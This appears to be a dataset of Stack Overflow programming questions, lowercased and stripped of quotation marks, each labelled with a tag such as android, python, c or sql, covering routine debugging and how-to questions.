android app stuck on black screen  logcat:   <pre><code>04-26 16:28:20.623 6848-6848/com.example.irit.myapp d/abslistview: get motionrecognitionmanager 04-26 16:28:20.623 6848-6848/com.example.irit.myapp e/motionrecognitionmanager: mscontextservice = android.hardware.scontext.iscontextservice$stub$proxy@c651538 04-26 16:28:20.623 6848-6848/com.example.irit.myapp e/motionrecognitionmanager: motionservice = com.samsung.android.motion.imotionrecognitionservice$stub$proxy@4d14911 04-26 16:28:20.623 6848-6848/com.example.irit.myapp e/motionrecognitionmanager: motionservice = com.samsung.android.motion.imotionrecognitionservice$stub$proxy@4d14911 </code></pre>   i don t know if this is an error  but sometimes  when i want load my list view dynamically  my app is just stuck  and the screen become black. this happen something like 1/10 times    my code which is run : in my onclicklistener:   <pre><code>intent intenthisto = new intent(envoimailactivity.this  historiqueactivity.class); envoimailactivity.this.startactivity(intenthisto); </code></pre>   in my activity :   <pre><code>public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     getwindow().setflags(windowmanager.layoutparams.flag_layout_no_limits              windowmanager.layoutparams.flag_layout_no_limits);     setcontentview(r.layout.historique);     this.mgoogleaccount = google_account_used;     this.mmessagecontrolleur = new messagecontrolleur(this);      if (conf.message_historique == null){         try {             listmessage = mmessagecontrolleur.getmessagesamerecipient(mgoogleaccount.getmgmail()  mgoogleaccount.getmcredential().getselectedaccountname()  conf.email_du_service);             conf.message_historique = listmessage;         } catch (ioexception e) {             e.printstacktrace();         } catch (interruptedexception e) {             e.printstacktrace();         }     }else{         listmessage = conf.message_historique;     }     createtitle();     //this.mhistoriquepageradapter = new historiquepageradapter(getsupportfragmentmanager());     //this.mviewpager = (viewpager) findviewbyid(r.id.pager);     //this.mviewpager.setadapter(mhistoriquepageradapter);     try {         this.adapter = new myarrayadaptermail(this  r.layout.mail_visualise  mmessagecontrolleur.messagetomimemesssage(listmessage));     } catch (messagingexception e) {         e.printstacktrace();     }      this.mlistview = (listview) findviewbyid(r.id.listview);     mlistview.setadapter(this.adapter);   } </code></pre>   i think my app is stuck befor the first if in my oncreate  because when nothing is wrong  i got another logcat : <code>getmessagesamerecipient()</code> return,android
swrevealviewcontroller with storyboard with storyboard identifier in swift not segue how to do that  swrevealviewcontroller how to implements the storyboard with storyboard identifier  in swift not segue  please help me,ios
wt build examples fails  debian 8  c++11 and boost libraries installed:    from what i ve read the examples get built all at once.    try_compile() i believe there is a way to enable .c files (and .cpp)  i don t think i have done that yet.    crypt not found - is this openssl it s looking for     admission of guilt: i haven t worked with c++ in many many years  i ve been scripting in php with mvc frameworks but i d like to do more real programming!    i installed the libraries with apt  and i m using netbeans with a default  new project from existing sources  on the example directory.    here s the cmake output:   <pre><code>cd  /home/perry/netbeansprojects/examples  /usr/bin/cmake  -g  unix makefiles  -dcmake_build_type=debug -dcmake_c_compiler=/usr/bin/gcc -dcmake_cxx_compiler=/usr/bin/g++ -dcmake_c_flags_debug= -g3 -gdwarf-2  -dcmake_cxx_flags_debug= -g3 -gdwarf-2  -dcmake_export_compile_commands=on *** not building widget gallery; c++11 required (gcc &gt; 4.6 + set wt_cpp_11_mode=-std=c++0x or msvs &gt;= 2012) -- looking for crypt cmake error at /usr/share/cmake-3.0/modules/checkfunctionexists.cmake:56 (try_compile):   unknown extension  .c  for file      /usr/share/cmake-3.0/modules/checkfunctionexists.c    try_compile() works only for enabled languages.  currently these are:      see project() command to enable other languages. call stack (most recent call first):   blog/cmakelists.txt:30 (check_function_exists)   -- looking for crypt - not found -- looking for crypt in crypt cmake error at /usr/share/cmake-3.0/modules/checklibraryexists.cmake:52 (try_compile):   unknown extension  .c  for file      /usr/share/cmake-3.0/modules/checkfunctionexists.c    try_compile() works only for enabled languages.  currently these are:      see project() command to enable other languages. call stack (most recent call first):   blog/cmakelists.txt:32 (check_library_exists)   -- looking for crypt in crypt - not found -- ** not building codingview example: requires a multi-threaded build. -- ** not building broadcast feature example: requires a multi-threaded build. -- ** not building serverpush feature example: requires a multi-threaded build. -- ** not building socketnotifier feature example: requires a multi-threaded build. -- ** hello-widget set example requires the built-in http... skipping. -- ** not building filetreetable example: requires boost_filesystem library. -- ** not building gitmodel example: requires boost_filesystem library. -- ** not building mandelbrot example: requires wt::wrasterimage. -- ** not building onethread example: requires a (ironically) a multi-threaded build. -- ** not building simplechat example: requires a multi-threaded build. -- ** not building style example: requires wrasterimage. -- ** not building wt-homepage example: requires boost_filesystem library. -- ** not building wtwithqt example. --    wtwithqt example requires a qt4 installation. -- configuring incomplete  errors occurred! see also  /home/perry/netbeansprojects/examples/cmakefiles/cmakeerror.log .  cmake failed (exit value 1  total time: 355ms) </code></pre>,c++
html root path isn t correct  i have a problem in my html pages    when i use  root-relative  paths it isn t make the path correctly instead of direct to the folder of index.html it direct to the father folder.    <strong>example:</strong>    my index.html is:   websites/mysite/index.html    when i make a link in index.html to  /  it direct me to websites/    what is the problem,html
deleted nib still displayed when controller is pushed  i have an application with a uinavcontroller under a tab bar controller.  to create the navigation model i want  i push a container uiview object onto the stack to manage additional views(thanks frank).  when i created the container class  an associated nib file was created along with it.  i at first used that nib file  but it turned out it was better not to.  so i deleted the nib (and selected  also move to trash ).  the problem is that it still shows up when i push its view controller onto the stack.  i have tried emptying the cache in xcode and restarting xcode.  what am i missing,iphone
how to validate password using following conditions   password should contain   <ol> <li>at least one uppercase letter</li> <li>at least one lowercase letter</li> <li>at least one digit</li> <li>at least one special symbol</li> <li>should be more than 4 character</li> </ol>   i have tried - <code>^( =.*\d)( =.*[a-za-z])[a-za-z0-9!@#$%&amp;*]{6 20}$</code>,javascript
geckodriver executable needs to be in path  i have read previous questions asked on this topic and tried to follow the suggestions but i continue to get errors. on terminal  i ran    <pre><code>export path=$path:/users/conger/documents/geckodriver-0.8.0-osx </code></pre>   i also tried   <pre><code>    export path=$path:/users/conger/documents/geckodriver </code></pre>   when i run the following python code   <pre><code>from selenium import webdriver from selenium.webdriver.firefox.firefox_binary import firefoxbinary from selenium.webdriver.common.desired_capabilities import desiredcapabilities   firefox_capabilities = desiredcapabilities.firefox firefox_capabilities[ marionette ] = true firefox_capabilities[ binary ] =  /users/conger/documents/firefox.app   driver = webdriver.firefox(capabilities=firefox_capabilities) </code></pre>   i still get the following error   <pre><code>python - testwebscrap.py:8 traceback (most recent call last):   file  /users/conger/documents/python/crash_course/testwebscrap.py   line 11  in &lt;module&gt;     driver = webdriver.firefox(capabilities=firefox_capabilities)   file  /users/conger/miniconda2/lib/python2.7/site-packages/selenium/webdriver/firefox/webdriver.py   line 135  in __init__     self.service.start()   file  /users/conger/miniconda2/lib/python2.7/site-packages/selenium/webdriver/common/service.py   line 71  in start     os.path.basename(self.path)  self.start_error_message) selenium.common.exceptions.webdriverexception: message:  geckodriver  executable needs to be in path.   exception attributeerror:   service  object has no attribute  process   in &lt;bound method service.__del__ of &lt;selenium.webdriver.firefox.service.service object at 0x1006df6d0&gt;&gt; ignored [finished in 0.194s] </code></pre>,python
jquery iterate through cell column in table  i have the following html table (i can provide the html if required). each name within a cell  is a anchor tag in a li. for example  if  curly  is clicked  i d like to loop through each cell in that column and see that other classes curly as applied. (my aim is to apply validation  so a block of no more than 3 names can be red in a column).    as anyone got an idea how this can be achieved    <pre><code> html: &lt;div class= container &gt;     &lt;table id= tbl_calendar  class= table table-bordered calendar &gt;         &lt;thead&gt;             &lt;tr&gt;                 &lt;td&gt;&lt;span class= glyphicon glyphicon-calendar &gt;&lt;/span&gt;&lt;/td&gt;                 &lt;td id= 2015-11-30  style= font-weight: bold; &gt;monday &lt;br&gt; 30/11/2015 &lt;/td&gt;                 &lt;td id= 2015-12-01  style= font-weight: bold; &gt;tuesday &lt;br&gt; 01/12/2015&lt;/td&gt;                 &lt;td id= 2015-12-02  style= font-weight: bold; &gt;wednesday &lt;br&gt; 02/12/2015&lt;/td&gt;                 &lt;td id= 2015-12-03  style= font-weight: bold; &gt;thursday &lt;br&gt; 03/12/2015&lt;/td&gt;                 &lt;td id= 2015-12-04  style= font-weight: bold; &gt;friday &lt;br&gt; 04/12/2015&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;&lt;td id= 910  style= font-weight: bold &gt; 9-10 &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td id= 1011  style= font-weight: bold &gt; 10-11 &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                            &lt;/td&gt;&lt;td style= padding: 0;  bgcolor= #fafafa &gt;                             &lt;ul class= doctorlist &gt;                                 &lt;li&gt;&lt;a id= 1  href= # &gt;curly&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 2  href= # &gt;larry&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a id= 3  href= # &gt;moe&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt; </code></pre>   this shows what a  booked  appointments looks like. <a href= https://i.stack.imgur.com/glnes.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/glnes.png  alt= enter image description here ></a>,jquery
highlighted color keep on the table cell when i click back to the table in objective-c  i have a table view in my program  (1)when i click on a row  (2)it will be changed to a view  (3)if i click back button  it will go back to the table list.    my problem is when i go back to the table list and the highlighted color still keep on the row  how can i <strong>erase the highlighted color</strong> after clicked on the row     thanks    (1)    <img src= https://i.stack.imgur.com/ushi7.jpg  alt= (1) >    (2)    <img src= https://i.stack.imgur.com/ejwdq.jpg  alt= (2) >    (3)    <img src= https://i.stack.imgur.com/ymxrd.jpg  alt= (3) >,objective-c
incompatible pointer to integer conversion   i m a <em>complete</em>  noob  to the world of objective-c programming  and i ve run into a stumbling block of sorts.  i just got stephen g. kochan s  programming in objective-c  4th edition  the other day  and have been working through the exercises  which includes the creation of a fraction class.  well  me being me  i decided to see if i could do a little  advanced  tinkering beyond the scope of the tutorial  by adding methods for the addition  subtraction  multiplication  and division.  and wham  i run into things i don t know how to do yet ... (1) invoke class methods with (and without) arguments  and (2) assign their return values to variables of the same type as the return.  the methods referenced are supposed to return integer <strong>(int)</strong> type numbers  but for some reason  i get the error:   incompatible pointer to integer conversion...etc  on both the assignment statements.  been banging my head against the wall for an hour on this.  what am i doing wrong   here s the code for the method in question:   <pre><code>-(void) add: frac1:(fraction *) f1: (fraction *) f2  {     int n1 = [fraction: getnumerator()];    int d1 = [fraction: getdenominator()];    // rest of method not yet written } </code></pre>   --andy h.,objective-c
segmentation fault  c program  why does these code returning a segmentation fault  i searched online but can t find the problem. could you please help  is it because of pointer malloc fault    <pre><code>void multiply(int **a  int n  int m  int **b  int m2  int p  int **c) {     int i  j  k;     for (i = 0; i &lt; n; i++){         for (j = 0; j &lt; p; j++){             for (k = 0; k &lt; m; k++){                 c[i][j] += a[i][k] * b[k][j];                 }             printf( %d   c);}} } main() {     int **a  **b  **c;     int n  m  p;     int i  j;     scanf( %d   &amp;n); scanf( %d   &amp;m); scanf( %d   &amp;p);     a = (int **)malloc(n*sizeof(int*));     for (i = 0; i &lt; n; i++){         a[i] = (int*)malloc(m*sizeof(int));}     for (i = 0; i &lt; n; i++){         for (j = 0; j &lt; m; j++){             scanf( %d   &amp;a[i][j]);}     }     b = (int **)malloc(m*sizeof(int*));     for (i = 0; i &lt; m; i++){         b[i] = (int *)malloc(p*sizeof(int));}     for (i = 0; i &lt; m; i++){         for (j = 0; j &lt; p; j++){             scanf( %d   &amp;b[i][j]);}     }     c = (int **)malloc(n  sizeof(int));     for (i = 0; i&lt;n; i++)         c[i] = (int *)malloc(p  sizeof(int));     multiply(a  n  m  b  m  p  c);     free(a);     free(b);     free(c); } </code></pre>   thanks^^    i edit some code and it is now correct. thank you guys so much. cheers!,c
is it possible to query table names in a database   i just started working on a large project with hundreds of tables. i want to see all of the tables relating to dns. i can t remember all of the table names that i m working with  but i know they have  dns  in the name.    is it possible to query the list of tables in a database and return just the names  it would be like <code>show tables;</code>  but filtering by table name.    an equivalent of <code>show tables from &lt;database&gt; where table_name like  %dns% ;</code>    version info: <strong>mysql ver 14.14 distrib 5.7.18  for linux (x86_64) using  editline wrapper</strong>,mysql
ruby on rails - activerecord::associations method error  i have this basic association setup on both <code>user</code> and <code>recipe</code> models as in <code>user has many recipes</code> and on view i m referencing one of recipe attribute like this     <pre><code>&lt;%= @recipe.title %&gt; </code></pre>   and the error is   <pre><code>undefined method `title  for #&lt;activerecord::associations::collectionproxy::activerecord_associations_collectionproxy_recipe:0x00000101edeac0&gt; </code></pre>   i did some research and it seems like this has to do with something called proxy object that i will need to access associated object s attributes in a different way but i find it challenging to digest this concept.    at a higher level  i need to achieve showing selected recipe in detail (show) from the list (index) and showing this detail part is where the error is.    controller   <pre><code>def index   @recipes = recipe.all end  def show  end </code></pre>   view    <pre><code>&lt;p&gt;   &lt;strong&gt;title:&lt;/strong&gt;   &lt;%= @recipe.title %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;content:&lt;/strong&gt;   &lt;%= @recipe.content %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;duration:&lt;/strong&gt;   &lt;%= @recipe.duration %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;strong&gt;rating:&lt;/strong&gt;   &lt;%= @recipe.rating %&gt; &lt;/p&gt; </code></pre>,ruby-on-rails
asp.net 4.0 has not been registered on web server error  i have installed visual studio 2012 and my .net framework is 4.5 and in that when i am creating web site project i am getting following error. <img src= https://i.stack.imgur.com/kbi9k.png  alt= enter image description here >    please suggest me what i have to do.,asp.net
getting listview menu (name) to be passed via intent to another class  i got a listview menu items that i can add dynamically using add button than dialog menu pops out.     the question is  how do i get information from the selected menu to another particular menu via intent  so for each listview menu it has different submenu that can be recognized by its parents menu selected,android
how do i get text from one activity and put it on a button in another activity.  i want to know how i can get the text from an edittext in activity b and put that text on the button of activity a. i want to make it so that when i press the  enter  button on activity b it will get the text of the edittext and replace the text of a button in activity a. i think its something like this    <pre><code>    public void pressenter (view v){     edittext et = (edittext) findviewbyid(r.id.edittext1);     string t = et.gettext().tostring();     button p1_button = (button)findviewbyid(r.id.button1);     p1_button.settext(t); } </code></pre>   but i dont know how to get the id of the button from activity a that i want to set the text to.,android
conditional removal when focusing out  i have the following html:   <pre><code>&lt;input type= text  id= mytext &gt; &lt;div id= mydiv &gt; </code></pre>   when a user focuses out of the text field  i would like to remove #mydiv  only if the user focused out to an area which is not in the div itself.    so far i have the code to remove the div no matter where the user clicked on the screen. what do i need to add to the following code in order to prevent the removal of the div if the user click inside it    <pre><code>$( #mytext ).focusout(function(evt) {     $( #mydiv ).remove(); }); </code></pre>,jquery
c++ string unable to read memory  i have a class that looks like the following:   <pre><code>class modelcommand { public:     virtual ~modelcommand() {}; };  class foldercommand : public modelcommand { public:     std::string text;     unsigned width;     bool isbackspace;      foldercommand(bool isbackspace  unsigned width  std::string text =   ) : text(text)  width(width)  isbackspace(isbackspace) {} };  class cmodel { private:     string _folder; public:     void update(std::shared_ptr&lt;modelcommand&gt; &amp;cmd); }; </code></pre>   then in my controller i have an instance of my model and update it using the new foldercommand object i create:   <pre><code>shared_ptr&lt;cmodel&gt; model;  shared_ptr&lt;modelcommand&gt; cmd = dynamic_pointer_cast&lt;modelcommand&gt;(make_shared&lt;foldercommand&gt;(false  20   a ));  model-&gt;update(cmd); </code></pre>   and then inside my update method of cmodel i try to do the following:   <pre><code>void cmodel::update(std::shared_ptr&lt;modelcommand&gt; &amp;cmd) {      if (auto foldercmd = dynamic_pointer_cast&lt;foldercommand&gt;(cmd)) {         if(!foldercmd-&gt;isbackspace)              // this is where _folder is unable to read memory             _folder += foldercmd-&gt;text;          else if(foldercmd-&gt;isbackspace &amp;&amp; _folder.length() &gt; 0)             _folder.erase(--_folder.end());          foldercmd-&gt;text = _folder;     } } </code></pre>   this results in the cmodel s _folder variable being  unable to read memory .    can someone explain and provide a solution to this problem     thanks.    <strong>update</strong> added some more code for clarification,c++
sending text file line by line to server  this code is supposed to send data from a text file line by line to a server. but its sending only the 1st line. how to move to next line of text file in android. and after sending i want to delete the line.   <pre><code>file file = new file(environment.getexternalstoragedirectory()  /bpcltracker1/gpsdata.txt ); file f1=new file(environment.getexternalstoragedirectory()  /bpcltracker1/gpsdata.txt ); randomaccessfile in = null; randomaccessfile in1 = null; try {   in = new randomaccessfile(file   rw );   in1= new randomaccessfile(f1   rw );}   catch (filenotfoundexception e)    {// todo auto-generated catch bloc e.printstacktrace();}   string line = 0 ;   while (true)   {      try       {         if (isinterneton())         {            while ((line = in.readline()) != null)            {                  httpentity entity;                  httpclient client = new defaulthttpclient();                  string url =  some url is here ;                  httppost request = new httppost(url);                  stringentity se = new stringentity(line);                  se.setcontentencoding( utf-8 );                  se.setcontentencoding(new basicheader(                  http.content_type   application/json ));                  entity = se;                  request.setentity(entity);                  httpresponse response = client.execute(request);                  entity = response.getentity();                  if (entity != null) {}            }        }    } } </code></pre>   thank you,android
javascript confirm box  i try to use confirm box but it does not work after  ok  pressing this is my confirm box   <pre><code>&lt;script language= javascript &gt; {literal} function confirmbox() {  var where_to= confirm( silmek istediğinizden emin misiniz  );  if (where_to== true)      return true;  else{      alert( silme işleminden vazgeçtiniz yönlendiriliyorsunuz );      return false;  } } {/literal} &lt;/script&gt;     &lt;form name= removefortune  method= post  action= # &gt;     &lt;table border= 0  name= tablearticle &gt;      {foreach from=$articles value=article}         &lt;tr&gt;             &lt;td&gt;&lt;input type= checkbox  name= checkarticle[]  value= {$article.id}  /&gt;&lt;/td&gt;             &lt;td&gt;{$article.title}&lt;/td&gt;         &lt;/tr&gt;         {/foreach}     &lt;/table&gt;     &lt;input type= submit  onclick= confirmbox()  name= removearticle  value= sil  /&gt;     &lt;br /&gt;&lt;br /&gt;      {$deletemessage}  &lt;/form&gt; </code></pre>,javascript
function to change values of variables  i am facing following problem; let s say i have following:   <pre><code>a = 0  def something(variable):     variable = variable + 1  something(a)  print(a) </code></pre>   the output is 0 instead of 1..    and if i use  global variable  line inside function  program shows following error:   <blockquote>     name  a  is parameter and global   </blockquote>   any hints how to make this work  or is it impossible in python,python
how do i locate the dlls that contain .net  i believe that i need to reference the following namespace   <pre><code>microsoft.web.services2.security </code></pre>   how can i determine which dll references these namespaces so i can set a reference to them  if i search the entire framework 4 in the object browser  i don t see it  but then  i probably need a reference to the dll for it to show up    when i look up the ms documentation  i see no mention.    documentation on <a href= http://msdn.microsoft.com/en-us/library/microsoft.web.services2.security.aspx  rel= nofollow noreferrer >microsoft.web.services2.security</a>    what i have done in the opast is set a reference to every microsoft dll i can find then search the object browser to determine which dll it is in. then  remove the unused dlls. there has to be a better way. how does everyone else locate the dll that defines a namespace and classes that are needed      when i open the add reference dialog and look for microsoft.web.services2.security  i don t see it.    <img src= https://i.stack.imgur.com/rj6k9.png  alt= enter image description here >,.net
sql: nested select query   anyone know how i can combine these in to one statement   it s the lesson_id(s) for all sessions from a specific block that i m after...   <pre><code>$query =   select session_id from cdu_blocks_sessions join cdu_sessions on cdu_sessions.id = cdu_blocks_sessions.session_id where block_id = $block_id and enabled = 1 ;  $session_ids = cdu_get_query_results($db  $query  __line__);  $lesson_ids = array();  foreach ($session_ids as $session_id) {     $query =       select lesson_id from cdu_sessions_lessons     join cdu_lessons on cdu_lessons.id = cdu_sessions_lessons.lesson_id     where session_id =   . $session_id[ session_id ] .       and enabled = 1 ;      $lesson_ids = array_merge($lesson_ids  cdu_get_query_results($db  $query  __line__)); } </code></pre>   cdu_sessions:   <pre><code>------------------------------ |id |name           |enabled | ------------------------------ |1  |session 1      |1       | |2  |session 2      |1       | |3  |session 3      |1       | |4  |session 4      |0       | |5  |session 5      |1       | |6  |session 6      |0       | |7  |session 7      |1       | |8  |session 8      |1       | ------------------------------ </code></pre>   cdu_blocks_sessions:   <pre><code>--------------------------- |id |block_id |session_id | --------------------------- |1  |1        |1          | |1  |1        |2          | |1  |1        |3          | |1  |2        |4          | |1  |2        |5          | |1  |2        |6          | --------------------------- </code></pre>   cdu_lessons:   <pre><code>----------------------------- |id |name          |enabled | ----------------------------- |1  |lesson 1      |1       | |2  |lesson 2      |1       | |3  |lesson 3      |1       | |4  |lesson 4      |1       | |5  |lesson 5      |0       | ----------------------------- </code></pre>   cdu_sessions_lessons:   <pre><code>---------------------------- |id |session_id |lesson_id | ---------------------------- |1  |1          |1         | |1  |1          |2         | |1  |1          |3         | |1  |2          |4         | |1  |2          |5         | ---------------------------- </code></pre>,sql
asp.net - url redirection after authentication  i have to develop an application asp.net for my business. two departments access to this application with two different urls (dept1.xxx.com  dept2.xxx.com). after authentication  i know if a user belongs to one department or the other. if the user is in the wrong url  we must redirect it to the right.    how to achieve this     thanks in advance.,asp.net
how to reverse a string of numbers in a nested loop  this is a homework question so i would like help  not an answer.    i m trying to create 2 triangles out of numbers based on a number entered by the user.   <pre><code> enter a number between 2-9:  3  1 12 123    1  21 321 </code></pre>   ie2:   <pre><code> enter a number between 2-9:  5  1 12 123 1234 12345      1    21   321  4321 54321 </code></pre>   i have been able to get the first triangle complete. but when i add my nested loop it messes up my first triangle with the numbers developed from the nested loop. it also puts all the numbers in a straight vertical line. i ve tried variations for different nest loops and even tried messing with a <code>stringbuilder</code>  but was still unsuccessful. here s what i have in code so far:   <pre><code>import java.util.scanner;  public class nestedloops {     public static void main(string[] args)     {         scanner input = new scanner(system.in);          system.out.print( enter a number between 2-9:  );         int width = input.nextint();          string r =   ;         for (int i = 1; i &lt;= width; i++)         {             r = r + i;             system.out.println(r);          }      }  } </code></pre>   again  i m looking for help/understanding and not just an answer.,java
how to know key in hash by value   i have hash:   <pre><code>test = {      a : [ localhost ]       b : [ bb   aa ]       c : [ cc ] } </code></pre>   for example i want to know key for bb   (b).,python
trying to convert morse code to english. struggling  i m trying to create a function to read morse code from one file  convert it to english text  print the converted text to the terminal  and write it to an output file. here s a rough start...<br> <code>#define total_morse 91</code> <code>#define morse_len 6</code>   <pre><code>void  morse_to_english(file* inputfile  file* outputfile  char morsestrings[total_morse][morse_len]) { int i = 0  compare = 0;  char convert[morse_len] = { \0 }  *buffer =  \0 ;  //read in a line of morse string from file // fgets(buffer  //then what   while(((convert[i] = fgetc(inputfile)) !=    ) &amp;&amp; (i &lt; (morse_len - 1)))  { i++;  }  if (convert[i + 1] ==    )   convert[i + 1] =  \0 ;  //compare read-in string w/morsestrings  for (i = 48  compare = strcmp(convert  morsestrings[i]); //48 is  0    i &lt; (total_morse - 1) &amp;&amp; compare != 0;   i++)   { compare = strcmp(convert  morsestrings[i]);  }  printf( %c   (char)i); } </code></pre>   i have initialized morsestrings to the morse code.  that s my function right now. it does  not work  and i m not really sure what approach to take.    my original algorithm plan was something like this:<br> <code>1. scan morse code in from file  character by character  until a space is reached</code><br>      <code>1.1 save to a temporary buffer (convert)</code><br> <code>2. loop while i &lt; 91 &amp;&amp; compare != 0</code>     <pre><code>    compare = strcmp(convert  morsestring[i]) </code></pre>   <code>3. if (test ==0) print ( %c   i);</code> <code>4. loop through this until eof</code>    but.. i can t seem to think of a good way to test if the next char in the file is a space. so this has made it very difficult for me.     i got pretty frustrated and googled for ideas  and found a suggestion to use this algorithm   <ol> <li>read a line </li> <li> loop        -strchr() for a space or eol -copy characters before the space to another string<br> -use strcmp() and loop to find the letter -test the next character for space.<br> -if so  output another space -skip to next morse character </li> <li> list item </li> </ol>   endloop    but  this loops is kind of confusing. i would use fgets() (i think)  but i don t know what to put in the length argument.    anyways  i m tired and frustrated. i would appreciate any help or insight for this problem. i can provide more code if necessary.,c
copy half the files to one place and other half to other c#  if i have 4  files. and i want to move half of them to disc 1 and half of them to disc 2.    if im using the:  <code>directory.move(source  destination)</code> im guessing i can change to source by doing a foreach loop + an array or list  but how could i change the destination after half the source files are transfered and then transfer the other half to the new destination,c#
how to put a div fix at bottom of the page && above footer using css  i have a box (shopping cart) which i want it to be fixed at the bottom of the page. but if the page is not long enough  or the user scroll to the end of the page  so that the footer is in the viewport. in this case i want the shopping cart box to be right above the footer.    is it possible to do this without js     thanks,css
placing an adview below a view when view isn t visible  i have a layout which has an adview under an imageview.in some conditions i am making the imageview invisible which makes my adview to not adjust properly since(android:layout_below attribute i have given to my adview).     `    <pre><code>&lt;imageview     android:id= @+id/previous      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignparentleft= true      android:layout_marginleft= 5dp      android:layout_margintop= 10dp      android:background= @drawable/le      android:clickable= true      android:contentdescription= @string/app_name      android:onclick= previous      android:paddingbottom= 3dp  &gt; &lt;/imageview&gt;  &lt;imageview     android:id= @+id/next      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_alignparentright= true      android:layout_marginright= 5dp      android:layout_margintop= 10dp      android:background= @drawable/ri      android:clickable= true      android:contentdescription= @string/app_name      android:onclick= next      android:paddingbottom= 3dp  &gt; &lt;/imageview&gt;  &lt;com.google.ads.adview         android:id= @+id/adview          android:layout_width= fill_parent          android:layout_height= wrap_content          ads:adsize= banner          ads:adunitid= pub id          android:layout_below= @+id/next          ads:loadadoncreate= true  /&gt;  &lt;textview     android:id= @+id/tv      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_centerhorizontal= true      android:layout_margintop= 18dp      android:layout_below= @+id/adview      android:textcolor= @color/red      android:textsize= 20dp      android:textstyle= bold  /&gt;  &lt;listview     android:id= @+id/list      android:layout_width= fill_parent      android:layout_height= fill_parent      android:layout_below= @+id/tv      android:layout_margintop= 6dp      android:cachecolorhint= #00000000      android:clickable= false      android:dividerheight= 30.0dp      android:fadingedge= none      android:focusable= false      android:focusableintouchmode= false      android:scrollbars= none  &gt; &lt;/listview&gt; </code></pre>   `    i have used layout_above attribute for adview to place it above textview since the textview is always visible.but when i do that i got an error saying circular dependencies are not possible in releative layout .below is the image for better understanding.    <img src= https://i.stack.imgur.com/gswz1.png  alt= enter image description here >    how can i solve this.any suggestions are appreciated.,android
